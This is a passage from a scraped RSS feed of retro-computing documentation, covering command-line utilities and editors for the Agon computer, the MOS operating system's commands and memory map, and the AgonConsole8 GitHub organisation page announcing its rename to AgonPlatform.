show a calendar of just one month. Example:&lt;/p&gt;&lt;p&gt;&lt;code&gt;cal 5 2024&lt;/code&gt;&lt;/p&gt;&lt;p&gt;shows a calendar of just May 2024. Specify just a year to show the calendar
of the whole yar. Example:&lt;/p&gt;&lt;p&gt;&lt;code&gt;cal 2024&lt;/code&gt;&lt;/p&gt;&lt;p&gt;Options: -s shows Sunday as the first day of the week (default is Monday).&lt;/p&gt;&lt;div&gt;&lt;h3&gt;concat&lt;/h3&gt;&lt;/div&gt;&lt;p&gt;This program concatenates one or more files to form another file:&lt;/p&gt;&lt;p&gt;Example:&lt;/p&gt;&lt;p&gt;&lt;code&gt;concat prog1.bas prog2.bas &amp;gt;prog.bas&lt;/code&gt;&lt;/p&gt;&lt;p&gt;Concatenates prog1.bas and prog2.bas and writes the whole to
prog.bas. Comparable to the Unix cat command,&lt;/p&gt;&lt;div&gt;&lt;h3&gt;find&lt;/h3&gt;&lt;/div&gt;&lt;p&gt;This program finds files (in the entire file system) whose name matches a
specific pattern.&lt;/p&gt;&lt;p&gt;Example:&lt;/p&gt;&lt;p&gt;&lt;code&gt;find *.c&lt;/code&gt;&lt;/p&gt;&lt;p&gt;This will find all files whose name matches the pattern &lt;code&gt;*.c&lt;/code&gt; in the whole
file system.&lt;/p&gt;&lt;p&gt;You can use the &amp;#39;&amp;gt;&amp;#39; character to redirect the output to a file. Example:&lt;/p&gt;&lt;p&gt;&lt;code&gt;find *.asm &amp;gt;all_asmfiles.txt&lt;/code&gt;&lt;/p&gt;&lt;div&gt;&lt;h3&gt;grep&lt;/h3&gt;&lt;/div&gt;&lt;p&gt;This program searches test files for specific strings.&lt;/p&gt;&lt;p&gt;Example:&lt;/p&gt;&lt;p&gt;&lt;code&gt;grep dirlist *.c&lt;/code&gt;&lt;/p&gt;&lt;p&gt;This will find all lines containing &amp;quot;dirlist&amp;quot; in all C source files.&lt;/p&gt;&lt;p&gt;You can do a case-insensitive grep using the &lt;code&gt;-i&lt;/code&gt; option. It will only consider
ASCII letters. You can also enclose the search string in double quotes to
search for a string containint spaces&amp;quot;&lt;/p&gt;&lt;p&gt;Example:&lt;/p&gt;&lt;p&gt;&lt;code&gt;grep -i &amp;quot;these few words&amp;quot; *.txt&lt;/code&gt;&lt;/p&gt;&lt;p&gt;You can use the &amp;#39;&amp;gt;&amp;#39; character to redirect the output to a file and you
can have multiple file names or wildcards. Example:&lt;/p&gt;&lt;p&gt;&lt;code&gt;grep dirlist *.c *.h  &amp;gt;results.txt&lt;/code&gt;&lt;/p&gt;&lt;div&gt;&lt;h3&gt;sort&lt;/h3&gt;&lt;/div&gt;&lt;p&gt;This program sorts lines in a text file in ASCII-lexigographic order.&lt;/p&gt;&lt;p&gt;Example:&lt;/p&gt;&lt;p&gt;&lt;code&gt;sort myfile.txt&lt;/code&gt;&lt;/p&gt;&lt;p&gt;You can use the &amp;#39;&amp;gt;&amp;#39; character to redirect the output to a file.
Example:&lt;/p&gt;&lt;p&gt;&lt;code&gt;sort myfile.txt &amp;gt;sorted.txt&lt;/code&gt;&lt;/p&gt;&lt;p&gt;THe proghram has the follwoignoptions: -f to sort case-insensitive and -r
to sort in reverse order.&lt;/p&gt;&lt;div&gt;&lt;h3&gt;wc&lt;/h3&gt;&lt;/div&gt;&lt;p&gt;This program counts lines, words and characters in one or more files.
It uses the options -l, -w and -c to specify that lines words and characters
must be counted. If none are specified, all are counted.&lt;/p&gt;&lt;p&gt;Example:&lt;/p&gt;&lt;p&gt;&lt;code&gt;wc -w *.c&lt;/code&gt;&lt;/p&gt;&lt;p&gt;Count only words in all C source files&lt;/p&gt;&lt;p&gt;&lt;code&gt;wc readme.txt info.txt&lt;/code&gt;&lt;/p&gt;&lt;p&gt;Count lines, words and characters in readme.txt and info.txt&lt;/p&gt;&lt;div&gt;&lt;h3&gt;nano&lt;/h3&gt;&lt;/div&gt;&lt;p&gt;This is an editor with nano-style key bindings.&lt;/p&gt;&lt;p&gt;Example command: &lt;code&gt;nano myfile.txt&lt;/code&gt;&lt;/p&gt;&lt;p&gt;The command can take a second parameter to specify the buffer, so larger files can be loaded.
Example command when specifying a buffer. This works the same way as for the copy command.&lt;/p&gt;&lt;p&gt;Example command using a buffer:
&lt;code&gt;nano myfile.txt &amp;amp;90000&lt;/code&gt;&lt;/p&gt;&lt;p&gt;It can take a third parameter to specify the line number on which the cursor must start. Example:
&lt;code&gt;nano myfile.txt &amp;amp;90000 231&lt;/code&gt;&lt;/p&gt;&lt;p&gt;The editor switches to a 80-column mode (mode 3) if not already in a
mode with at least 80 text columns.&lt;/p&gt;&lt;p&gt;Key bindings are nano-style, but not all are implemented (far from).&lt;/p&gt;&lt;p&gt;Implemented key bindings: Control-A, Control-E to go to the start or
end of a line, Control-Y and Control-V for page-up and page-down,
COntrol-L to redraw the screen with the current line in the centre,
Control-G to see a help screen, Control-X to exit, Control-O to save
the file, Control-D for forward delete. Control-K to cut current line
(repeat to cut block of lines), Control-U to paste And of course the
cursor keys, TAB, Backspace and Enter.  Control-R for reading and
inserting a file, Control-W and Control-Q for search forward and
backward.&lt;/p&gt;&lt;p&gt;Different from nano (as nano uses impossible control and alt
combinations for these functions): Control-C to copy current line,
Control-H to go to a specific line (enter a number).  Control-T to
insert special characters.&lt;/p&gt;&lt;div&gt;&lt;h3&gt;ne&lt;/h3&gt;&lt;/div&gt;&lt;p&gt;This is an extended editor with largely the same functionality as nano.
However, it is not a moslet and it is written in C instead of assembler.
It does not take a buffer address parameter, it can just edit large
files. Being a C program it is easier to maintain and extend. The current
version does not support a line number parameter.&lt;/p&gt;&lt;p&gt;&lt;code&gt;ne myfile.txt&lt;/code&gt;&lt;/p&gt;&lt;p&gt;Added functionality compared to nano:&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;Control-J for justifying paragraph,&lt;/li&gt;
&lt;li&gt;COnfig file /bin/ne.cfg can specify line ending conventions and tabstops.&lt;/li&gt;
&lt;/ul&gt;&lt;p&gt;Saving files with CR-LF line endings takes too long, this will be fixed later.&lt;/p&gt;&lt;div&gt;&lt;h3&gt;mc&lt;/h3&gt;&lt;/div&gt;&lt;p&gt;This is the 12AM Commander, a Midnight-commander look-alike. It can
only work on MOS 2.2.3 and up. To install it, you must have &lt;code&gt;mc.bin&lt;/code&gt;,
&lt;code&gt;12amc.ovl&lt;/code&gt;, &lt;code&gt;12amc.hlp&lt;/code&gt; and &lt;code&gt;12amc.cfg&lt;/code&gt; all in the &lt;code&gt;/bin&lt;/code&gt;
directory. The file &lt;code&gt;12amc.cfg&lt;/code&gt; is a configuration file that can be
edited. You can specify viewer and editor commands and specify
programs to be run for certain file extensions.&lt;/p&gt;&lt;p&gt;To start the program, just type &lt;code&gt;mc&lt;/code&gt;. To exit, simply press F10 or
ESC.  You will see two directories side by side and you can switch
between them with the TAB key. For more information type F1.&lt;/p&gt;&lt;p&gt;Note: the main code of mc resides in &lt;code&gt;12amc.ovl&lt;/code&gt; and this must be
loaded and run through &lt;code&gt;mc.bin&lt;/code&gt; (not directly via load &amp;amp; run commands
for example). The program &lt;code&gt;mc.bin&lt;/code&gt; stores a launcher in internal RAM,
which can load and execute external programs at address &amp;amp;40000 and
later reload and rerun the &lt;code&gt;12amc.ovl&lt;/code&gt; program. This launcher is an
important part of the functionality.&lt;/p&gt;</content:encoded>
</item>
<item>
<title>MOS · breakintoprogram/agon-docs Wiki · GitHub</title>
<link>https://github.com/breakintoprogram/agon-docs/wiki/MOS</link>
<enclosure type="image/jpeg" length="0" url="https://opengraph.githubassets.com/7f9e6b0eb11373380a7c9108ea73185aa67da60aadc8bb950f95cbc36e228704/breakintoprogram/agon-docs"></enclosure>
<guid isPermaLink="false">QgCSSiymA_90KbIt49EkQqqj4fmhdJKjXENtzg==</guid>
<pubDate>Wed, 27 May 2026 18:54:06 +0000</pubDate>
<description>Official AGON QUARK Firmware Documentation. Contribute to breakintoprogram/agon-docs development by creating an account on GitHub.</description>
<content:encoded>&lt;div&gt;&lt;h1&gt;What is the MOS&lt;/h1&gt;&lt;/div&gt;&lt;p&gt;The MOS is a command line machine operating system, similar to CP/M or DOS, that provides a human interface to the Agon file system.&lt;/p&gt;&lt;p&gt;It also provides an &lt;a href=&quot;https://github.com/breakintoprogram/agon-docs/wiki/MOS-API&quot;&gt;API&lt;/a&gt; for file I/O and other common operations for BBC Basic and other third-party applications.&lt;/p&gt;&lt;div&gt;&lt;h2&gt;System Requirements&lt;/h2&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;A 32GB or less micro-SD card formatted FAT32&lt;/li&gt;
&lt;/ul&gt;&lt;div&gt;&lt;h2&gt;The MOS folder&lt;/h2&gt;&lt;/div&gt;&lt;p&gt;From version 1.02 of MOS, a &lt;code&gt;mos&lt;/code&gt; folder needs to be created in the root of the SD card. This is for any applications marked as MOS extensions that run off the SD card&lt;/p&gt;&lt;div&gt;&lt;h2&gt;The autoexec.txt file&lt;/h2&gt;&lt;/div&gt;&lt;p&gt;If the MOS detects an autoexec.txt file in the root folder of the SD card during cold-boot, it will read the file in, and execute the MOS commands in the file sequentially from top to bottom.&lt;/p&gt;&lt;p&gt;For example, to set keyboard to US, load BBC BASIC from the root folder, change to the test folder, then run BASIC&lt;/p&gt;&lt;div&gt;&lt;pre&gt;&lt;code&gt;SET KEYBOARD 1
LOAD bbcbasic
CD test
RUN&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div&gt;&lt;h2&gt;The MOS editor&lt;/h2&gt;&lt;/div&gt;&lt;p&gt;MOS implements a line editor that can also be used by third-party apps like BBC BASIC.&lt;/p&gt;&lt;p&gt;It implements the following functionality:&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;Cursor keys to navigate within the block of text in the line (UP and DOWN for multi-line edits)&lt;/li&gt;
&lt;li&gt;Backspace to delete the character to the left of the current line&lt;/li&gt;
&lt;li&gt;Text is inserted at the current cursor position&lt;/li&gt;
&lt;li&gt;Escape is used to quit the editor without entering the text&lt;/li&gt;
&lt;li&gt;Enter is used to submit the line to the calling application (BBC BASIC, MOS command line, etc)&lt;/li&gt;
&lt;/ul&gt;&lt;p&gt;And from MOS 1.03:&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;Cursoring left and right off the edge of the screen will wrap the cursor to the adjacent line&lt;/li&gt;
&lt;li&gt;Home and End keys will cursor to the start and end of the text being edited&lt;/li&gt;
&lt;/ul&gt;&lt;p&gt;And from MOS 1.03:&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;Backspace now wraps correctly when backspacing off the left-hand side of the screen&lt;/li&gt;
&lt;li&gt;Pressing the UP arrow key when the buffer is empty will retrieve the last entered command&lt;/li&gt;
&lt;li&gt;Pressing CTRL+N will switch to paged mode, CTRL+O will switch it off. Screen will pause after scrolling a page. Press SHIFT to continue, or ESC to break out. Paged mode should work with any application including BBC BASIC.&lt;/li&gt;
&lt;/ul&gt;&lt;p&gt;And from MOS 1.04:&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;Pressing UP and DOWN arrow keys will page through the command history&lt;/li&gt;
&lt;/ul&gt;&lt;div&gt;&lt;h2&gt;Soft Boot&lt;/h2&gt;&lt;/div&gt;&lt;p&gt;Press CTRL+ALT+DEL to soft-boot the Z80 (CTRL+SHIFT+ESC for MOS 1.02 or earlier)&lt;/p&gt;&lt;p&gt;NB:&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;This assumes that MOS is still talking to the ESP32&lt;/li&gt;
&lt;/ul&gt;&lt;div&gt;&lt;h2&gt;MOS Commands&lt;/h2&gt;&lt;/div&gt;&lt;ol&gt;
&lt;li&gt;Commands can be abbreviated with a dot, so &lt;code&gt;DELETE myfile&lt;/code&gt; and &lt;code&gt;DEL. myfile&lt;/code&gt; are equivalent.&lt;/li&gt;
&lt;li&gt;Commands are case-insensitive and parameters are space delimited.&lt;/li&gt;
&lt;li&gt;In the syntax description, optional parameters are written as &lt;code&gt;&amp;lt;param&amp;gt;&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;The dot (.) character can be used as a substitution for an optional numeric parameter&lt;/li&gt;
&lt;li&gt;Default LOAD and RUN address is set to 0x040000&lt;/li&gt;
&lt;li&gt;Numbers are in decimal and can be prefixed by &amp;#39;&amp;amp;&amp;#39; for hexadecimal.&lt;/li&gt;
&lt;li&gt;Addresses are 24-bit, unless otherwise specified
&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;&amp;amp;000000 - &amp;amp;01FFFF&lt;/code&gt;: MOS (Flash ROM)&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;&amp;amp;040000 - &amp;amp;0BDFFF&lt;/code&gt;: User RAM&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;&amp;amp;0B0000 - &amp;amp;0B7FFF&lt;/code&gt;: Storage for loading MOS star command executables off SD card&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;&amp;amp;0BC000 - 0BFFFFF&lt;/code&gt;: Global heap and stack&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;The RUN command checks a header embedded from byte 64 of the executable and can run either Z80 or ADL mode executables&lt;/li&gt;
&lt;li&gt;MOS will also search the &lt;code&gt;mos&lt;/code&gt; folder on the SD card for any executables, and will run those like built-in MOS commands&lt;/li&gt;
&lt;/ol&gt;&lt;div&gt;&lt;h3&gt;CAT&lt;/h3&gt;&lt;/div&gt;&lt;p&gt;Syntax:&lt;code&gt;*CAT &amp;lt;path&amp;gt;&lt;/code&gt; (Aliases include &lt;code&gt;DIR&lt;/code&gt; and &lt;code&gt;.&lt;/code&gt;)&lt;/p&gt;&lt;p&gt;Directory listing of the current directory.&lt;/p&gt;&lt;p&gt;NB: The path parameter will only work in MOS 1.03 or greater.&lt;/p&gt;&lt;div&gt;&lt;h3&gt;CD&lt;/h3&gt;&lt;/div&gt;&lt;p&gt;Syntax:&lt;code&gt;*CD path&lt;/code&gt;&lt;/p&gt;&lt;p&gt;Change current directory&lt;/p&gt;&lt;div&gt;&lt;h3&gt;CLS&lt;/h3&gt;&lt;/div&gt;&lt;p&gt;Syntax: &lt;code&gt;*CLS&lt;/code&gt;&lt;/p&gt;&lt;p&gt;Clear the screen&lt;/p&gt;&lt;p&gt;NB: Requires MOS 1.04 RC3 or greater&lt;/p&gt;&lt;div&gt;&lt;h3&gt;COPY&lt;/h3&gt;&lt;/div&gt;&lt;p&gt;Syntax: &lt;code&gt;*COPY filename1 filename2&lt;/code&gt;&lt;/p&gt;&lt;p&gt;Create a copy of a file.&lt;/p&gt;&lt;p&gt;NB: Requires MOS 1.03 or greater&lt;/p&gt;&lt;div&gt;&lt;h3&gt;CREDITS&lt;/h3&gt;&lt;/div&gt;&lt;p&gt;Syntax: &lt;code&gt;*CREDITS&lt;/code&gt;&lt;/p&gt;&lt;p&gt;Output credits and version numbers for third-party libraries used in the Agon firmware&lt;/p&gt;&lt;p&gt;NB: Requires MOS 1.03 or greater&lt;/p&gt;&lt;div&gt;&lt;h3&gt;DELETE&lt;/h3&gt;&lt;/div&gt;&lt;p&gt;Syntax: &lt;code&gt;*DELETE filename&lt;/code&gt; (Aliases include &lt;code&gt;ERASE&lt;/code&gt;)&lt;/p&gt;&lt;p&gt;Delete a file or folder (must be empty).&lt;/p&gt;&lt;div&gt;&lt;h3&gt;HELP&lt;/h3&gt;&lt;/div&gt;&lt;p&gt;Syntax: &lt;code&gt;*HELP &amp;lt;command&amp;gt;&lt;/code&gt;&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;Display a list of commands if  is not specified
&lt;/li&gt;
&lt;li&gt;Displays help for a MOS command if  is specified
&lt;/li&gt;
&lt;/ul&gt;&lt;p&gt;NB: Requires MOS 1.04 RC3 or greater&lt;/p&gt;&lt;div&gt;&lt;h3&gt;JMP&lt;/h3&gt;&lt;/div&gt;&lt;p&gt;Syntax:&lt;code&gt;*JMP addr&lt;/code&gt;: Jump to the specified address in memory&lt;/p&gt;&lt;div&gt;&lt;h3&gt;LOAD&lt;/h3&gt;&lt;/div&gt;&lt;p&gt;Syntax: &lt;code&gt;*LOAD filename &amp;lt;addr&amp;gt;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;Load a file from the SD card to the specified address. If no parameters are passed, then addr will default to &amp;amp;40000.&lt;/p&gt;&lt;div&gt;&lt;h3&gt;MKDIR&lt;/h3&gt;&lt;/div&gt;&lt;p&gt;Syntax: &lt;code&gt;*MKDIR filename&lt;/code&gt;&lt;/p&gt;&lt;p&gt;Create a new folder on the SD card&lt;/p&gt;&lt;div&gt;&lt;h3&gt;MOUNT&lt;/h3&gt;&lt;/div&gt;&lt;p&gt;Syntax: &lt;code&gt;*MOUNT&lt;/code&gt;&lt;/p&gt;&lt;p&gt;Remount the MicroSD card - required if you reinsert it without rebooting&lt;/p&gt;&lt;div&gt;&lt;h3&gt;RENAME&lt;/h3&gt;&lt;/div&gt;&lt;p&gt;Syntax: &lt;code&gt;*RENAME filename1 filename2&lt;/code&gt; (Aliases include &lt;code&gt;MOVE&lt;/code&gt;)&lt;/p&gt;&lt;p&gt;Rename a file in the same folder&lt;/p&gt;&lt;p&gt;&lt;code&gt;*RENAME autoexec.txt autoexec.bak&lt;/code&gt;&lt;/p&gt;&lt;p&gt;Rename a file and move to a different folder (the destination folder must exist)&lt;/p&gt;&lt;p&gt;&lt;code&gt;*RENAME test.bas archive/test.bas&lt;/code&gt;&lt;/p&gt;&lt;p&gt;NB: MOVE alias in MOS 1.03 or greater&lt;/p&gt;&lt;div&gt;&lt;h3&gt;RUN&lt;/h3&gt;&lt;/div&gt;&lt;p&gt;Syntax: &lt;code&gt;*RUN &amp;lt;addr&amp;gt;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;Call an executable binary loaded in memory. If no parameters are passed, then addr will default to &amp;amp;40000&lt;/p&gt;&lt;div&gt;&lt;h3&gt;SAVE&lt;/h3&gt;&lt;/div&gt;&lt;p&gt;Syntax: &lt;code&gt;*SAVE filename addr size&lt;/code&gt;&lt;/p&gt;&lt;p&gt;Save a block of memory to the SD card&lt;/p&gt;&lt;div&gt;&lt;h3&gt;SET&lt;/h3&gt;&lt;/div&gt;&lt;p&gt;Syntax: &lt;code&gt;*SET option value&lt;/code&gt;&lt;/p&gt;&lt;p&gt;Set a system option&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;*SET KEYBOARD n&lt;/code&gt;: Set the keyboard layout&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;*SET CONSOLE n&lt;/code&gt;: Set the console mode&lt;/li&gt;
&lt;/ul&gt;&lt;div&gt;&lt;h4&gt;Keyboard Layouts&lt;/h4&gt;&lt;/div&gt;&lt;p&gt;NB: Keyboard layouts 2 to 8 are only available in MOS 1.03&lt;/p&gt;&lt;div&gt;&lt;h4&gt;Console Mode&lt;/h4&gt;&lt;/div&gt;&lt;p&gt;The USB cable to the Agon also provides two-way serial comms; this is how the Arduino IDE programs it. This serial connection can also be used to send data to and from the Agon.&lt;/p&gt;&lt;p&gt;When console mode is on, all character output and keyboard input is echoed to this serial port.&lt;/p&gt;&lt;p&gt;Use case scenarios:&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Keyboardless operation - you can place a command to switch it on in the autoexec.txt file.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Using the ZDI debugger - pressing CTRL+Z when in console mode switches on the ZDI debugger (more details to follow).&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;0: Console mode is off (default)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;1: Console mode is on&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;&lt;p&gt;NB: It is pretty dumb, and does not play nicely with the line editor.&lt;/p&gt;&lt;div&gt;&lt;h3&gt;TIME&lt;/h3&gt;&lt;/div&gt;&lt;p&gt;Syntax:&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;&lt;code&gt;*TIME&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;*TIME yyyy mm dd hh mm ss&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;&lt;p&gt;Set and read the ESP32 real-time clock&lt;/p&gt;&lt;p&gt;NB: Requires MOS 1.03 or greater&lt;/p&gt;&lt;div&gt;&lt;h3&gt;TYPE&lt;/h3&gt;&lt;/div&gt;&lt;p&gt;Syntax: &lt;code&gt;*TYPE &amp;lt;filename&amp;gt;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;Display the contents of a file on screen&lt;/p&gt;&lt;p&gt;NB: Requires MOS 1.04 RC3 or greater&lt;/p&gt;&lt;div&gt;&lt;h3&gt;VDU&lt;/h3&gt;&lt;/div&gt;&lt;p&gt;Syntax: &lt;code&gt;*VDU &amp;lt;char1&amp;gt; &amp;lt;char2&amp;gt; ... &amp;lt;charN&amp;gt;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;Write a stream of characters to the VDP&lt;/p&gt;&lt;p&gt;NB: Requires MOS 1.03 or greater&lt;/p&gt;</content:encoded>
</item>
<item>
<title>AgonConsole8 · GitHub</title>
<link>https://github.com/AgonConsole8</link>
<enclosure type="image/jpeg" length="0" url="https://avatars.githubusercontent.com/u/208337058?s=280&amp;v=4"></enclosure>
<guid isPermaLink="false">aUv8VSmcFrJESxuByyOuA-kfpxItfDJrLHk4Bw==</guid>
<pubDate>Wed, 27 May 2026 18:54:05 +0000</pubDate>
<description>AgonConsole8 has 2 repositories available. Follow their code on GitHub.</description>
<content:encoded>&lt;div&gt;
      Skip to content

      &lt;span&gt;
    
&lt;/span&gt;      
      
      



  
  
  






      

          

              






&lt;header&gt;
  &lt;h2&gt;Navigation Menu&lt;/h2&gt;

  

  &lt;div&gt;
    &lt;div&gt;
      &lt;div&gt;
        
      &lt;/div&gt;

      &lt;a href=&quot;https://github.com/&quot;&gt;
        
      &lt;/a&gt;

      &lt;div&gt;
          &lt;a href=&quot;https://github.com/login?return_to=https%3A%2F%2Fgithub.com%2FAgonConsole8&quot;&gt;
            Sign in
          &lt;/a&gt;
              &lt;div&gt;
    
      Appearance settings

      
    
  &lt;/div&gt;

      &lt;/div&gt;
    &lt;/div&gt;

      &lt;div&gt;
        
                  &lt;a href=&quot;https://github.com/AgonConsole8&quot;&gt;AgonConsole8&lt;/a&gt;

      &lt;/div&gt;

    &lt;div&gt;
      &lt;div&gt;
          



  
  
  




        &lt;div&gt;
                



  &lt;div&gt;
      

    

    
&lt;div&gt;
  
      &lt;h1&gt;Search code, repositories, users, issues, pull requests...&lt;/h1&gt;
    &lt;div&gt;
      
          &lt;div&gt;        &lt;div&gt;
          
  
    &lt;div&gt;
      
        Search
      
      &lt;div&gt;
          &lt;span&gt;
            
          &lt;/span&gt;
        &lt;div&gt;
          
          &lt;div&gt;
            
            
          &lt;/div&gt;
        &lt;/div&gt;
          &lt;span&gt;
            &lt;span&gt;Clear&lt;/span&gt;
            

          &lt;/span&gt;
      &lt;/div&gt;
      



































































        &lt;div&gt;
                        

        &lt;/div&gt;
      &lt;div&gt;
        &lt;span&gt;
          
        &lt;/span&gt;
        
&lt;/div&gt;    &lt;/div&gt;
    

          &lt;div&gt;
            &lt;a href=&quot;https://docs.github.com/search-github/github-code-search/understanding-github-code-search-syntax&quot;&gt;Search syntax tips&lt;/a&gt;            
          &lt;/div&gt;
        &lt;/div&gt;
&lt;/div&gt;

    &lt;/div&gt;
&lt;/div&gt;
  &lt;/div&gt;
  
  &lt;div&gt;
    

  

    
    

  
    
  &lt;/div&gt;



            &lt;div&gt;
              &lt;a href=&quot;https://github.com/login?return_to=https%3A%2F%2Fgithub.com%2FAgonConsole8&quot;&gt;
                Sign in
              &lt;/a&gt;
            &lt;/div&gt;

              &lt;a href=&quot;https://github.com/signup?ref_cta=Sign+up&amp;amp;ref_loc=header+logged+out&amp;amp;ref_page=%2F%3Corg-login%3E&amp;amp;source=header&quot;&gt;
                Sign up
              &lt;/a&gt;

                &lt;div&gt;
    
      Appearance settings

      
    
  &lt;/div&gt;

          
        &lt;/div&gt;
      &lt;/div&gt;
    &lt;/div&gt;
  &lt;/div&gt;
&lt;/header&gt;

      &lt;div&gt;
  
        
        &lt;span&gt;You signed in with another tab or window. Reload to refresh your session.&lt;/span&gt;
        &lt;span&gt;You signed out in another tab or window. Reload to refresh your session.&lt;/span&gt;
        &lt;span&gt;You switched accounts on another tab or window. Reload to refresh your session.&lt;/span&gt;

    Dismiss alert


  
&lt;/div&gt;
    &lt;/div&gt;&lt;div&gt;
      &lt;main&gt;
        

















&lt;div&gt;
  




&lt;header&gt;
  &lt;div&gt;
    
    




    &lt;div&gt;
        &lt;div&gt;
          &lt;img src=&quot;https://avatars.githubusercontent.com/u/208337058?s=200&amp;amp;v=4&quot; alt=&quot;@AgonConsole8&quot; title=&quot;&quot;/&gt;
        &lt;/div&gt;
      &lt;div&gt;
        &lt;h1&gt;
          AgonConsole8
        &lt;/h1&gt;

          

        &lt;ul&gt;

          &lt;li&gt;
          &lt;/li&gt;

        &lt;/ul&gt;

        &lt;div&gt;
        &lt;/div&gt;
      &lt;/div&gt;

      &lt;div&gt;


      &lt;/div&gt;
    &lt;/div&gt;
  &lt;/div&gt;

  &lt;div&gt;
  
&lt;/div&gt;


    
&lt;/header&gt;


  &lt;div&gt;


    &lt;div&gt;

  &lt;div&gt;        &lt;div&gt;
          

      &lt;div&gt;
  &lt;div&gt;
    
  &lt;/div&gt;

  

  
  &lt;div&gt;
  &lt;div&gt;
    &lt;div&gt;
      &lt;div&gt;
        &lt;a href=&quot;https://github.com/AgonConsole8/.github/tree/main/profile/README.md&quot;&gt;README.md&lt;/a&gt;
      &lt;/div&gt;

    &lt;/div&gt;
    &lt;article&gt;&lt;div&gt;&lt;h1&gt;A new era has begun...&lt;/h1&gt;&lt;/div&gt;
&lt;p&gt;The &lt;a href=&quot;https://github.com/AgonPlatform/agon-mos&quot;&gt;MOS&lt;/a&gt; and &lt;a href=&quot;https://github.com/AgonPlatform/agon-vdp&quot;&gt;VDP&lt;/a&gt; firmware produced for Agon platform computers under the &amp;quot;Agon Console8&amp;quot; label has always been completely compatible with the Agon Light, Olimex Agon Light 2, the Agon Light Origins Edition, as well as the Agon Console8.  The label, however has historically tended to cause some confusion...&lt;/p&gt;
&lt;p&gt;The organisation on GitHub has also become the home to various tools for the Agon platform, such as the &lt;a href=&quot;https://github.com/AgonPlatform/agon-vdp&quot;&gt;Agon firmware update utility&lt;/a&gt; tool, the &lt;a href=&quot;https://github.com/AgonPlatform/agon-ez80asm&quot;&gt;agon-ez80asm assembler&lt;/a&gt;, and the new &lt;a href=&quot;https://github.com/AgonPlatform/agondev&quot;&gt;Agon dev C/C++ toolchain&lt;/a&gt; amongst many others.&lt;/p&gt;
&lt;p&gt;To better reflect the nature of the organisation we have therefore decided to rename it to be &lt;a href=&quot;https://github.com/AgonPlatform&quot;&gt;AgonPlatform&lt;/a&gt;.&lt;/p&gt;
&lt;/article&gt;
  &lt;/div&gt;
&lt;/div&gt;

  

    &lt;div&gt;

  &lt;h2&gt;
        Popular repositories

    &lt;span&gt;
      &lt;span&gt;Loading&lt;/span&gt;
&lt;/span&gt;
    
  &lt;/h2&gt;

    &lt;ol&gt;

    &lt;li&gt;
      &lt;div&gt;
        &lt;div&gt;
          &lt;div&gt;
            &lt;span&gt;&lt;a href=&quot;https://github.com/AgonConsole8/agonconsole8.github.io&quot;&gt;&lt;span&gt;
                agonconsole8.github.io
              &lt;/span&gt;&lt;/a&gt;  agonconsole8.github.io&lt;/span&gt;            &lt;span&gt;
              &lt;span&gt;Public&lt;/span&gt;
            &lt;/span&gt;
          &lt;/div&gt;


          &lt;p&gt;
            
          &lt;/p&gt;

          &lt;p&gt;
              &lt;span&gt;
  
  &lt;span&gt;HTML&lt;/span&gt;
&lt;/span&gt;

          &lt;/p&gt;
        &lt;/div&gt;
      &lt;/div&gt;
    &lt;/li&gt;

    &lt;li&gt;
      &lt;div&gt;
        &lt;div&gt;
          &lt;div&gt;
            &lt;span&gt;&lt;a href=&quot;https://github.com/AgonConsole8/.github&quot;&gt;&lt;span&gt;
                .github
              &lt;/span&gt;&lt;/a&gt;  .github&lt;/span&gt;            &lt;span&gt;
              &lt;span&gt;Public&lt;/span&gt;
            &lt;/span&gt;
          &lt;/div&gt;


          &lt;p&gt;
            
          &lt;/p&gt;

          &lt;p&gt;
          &lt;/p&gt;
        &lt;/div&gt;
      &lt;/div&gt;
    &lt;/li&gt;
&lt;/ol&gt;

&lt;/div&gt;


    &lt;div&gt;
  &lt;div&gt;
      &lt;h3&gt;
        
        Repositories
      &lt;/h3&gt;
      &lt;div&gt;
        &lt;div&gt;
          
            &lt;div&gt;
              &lt;div&gt;
                
                
                &lt;span&gt;
      &lt;span&gt;Loading&lt;/span&gt;
&lt;/span&gt;
              &lt;/div&gt;
              &lt;div&gt;
                &lt;details&gt;
                    &lt;summary&gt;    &lt;span&gt;Type&lt;/span&gt;
                    
&lt;/summary&gt;                  
                    &lt;div&gt;
                      &lt;header&gt;
                        &lt;span&gt;Select type&lt;/span&gt;
                        
                      &lt;/header&gt;
                      &lt;div&gt;
                          
                            
                            
                            &lt;span&gt;All&lt;/span&gt;
                          
                          
                            
                            
                            &lt;span&gt;Public&lt;/span&gt;
                          
                          
                            
                            
                            &lt;span&gt;Sources&lt;/span&gt;
                          
                          
                            
                            
                            &lt;span&gt;Forks&lt;/span&gt;
                          
                          
                            
                            
                            &lt;span&gt;Archived&lt;/span&gt;
                          
                          
                            
                            
                            &lt;span&gt;Mirrors&lt;/span&gt;
                          
                          
                            
                            
                            &lt;span&gt;Templates&lt;/span&gt;
                          
                      &lt;/div&gt;
                    &lt;/div&gt;
                  
